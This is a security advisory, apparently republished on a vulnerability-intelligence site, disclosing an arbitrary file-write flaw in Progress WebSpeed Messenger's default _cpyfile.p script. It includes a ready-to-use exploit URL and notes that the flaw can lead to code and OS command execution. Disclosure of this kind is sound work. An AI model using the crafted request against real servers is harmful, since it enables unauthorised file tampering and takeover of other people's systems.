Flaw in Progress Webspeed Messenger allows full control through _cpyfile.
`Because of a flaw in _cpyfile.p which is a default installed file it is possible to gain full control of a machine running Progress Webspeed Messenger. You can access, change and edit allmost any file on the server running the Webspeed Messenger even when the workshop is disabled.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last§ion=1&txt0=Test
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last§ion=1&txt0=Test
When you execute this, the script will generate a file c:/root.txt which contains the text Test.
For a Linux host just change the filename=C:/root.txt into filename=/tmp/root.txt
_cpyfile.p replaces the file if it allready exist. This is just a simple example to create a file root.txt with the text test in it. But it is also possible to write your own webspeed code and execute it. And webspeed supports OS-Commands so there are multiple ways of exploiting this flaw If tried this on webspeed 3.1a , 3.1d and 3.1e everytime it worked.
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo